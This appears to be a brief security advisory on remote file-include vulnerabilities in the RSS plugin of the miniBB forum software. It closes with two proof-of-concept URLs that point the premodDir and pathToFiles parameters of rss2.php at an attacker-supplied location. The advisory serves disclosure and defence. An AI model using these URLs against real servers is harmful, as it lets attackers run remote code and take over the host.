source: http://www.securityfocus.com/bid/30421/info
The RSS plugin for miniBB is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues can allow an attacker to compromise the application and the underlying computer; other attacks are also possible.
http://www.example.com/rss2.php?premodDir=[EVIL]
http://www.example.com/rss2.php?pathToFiles=[EVIL]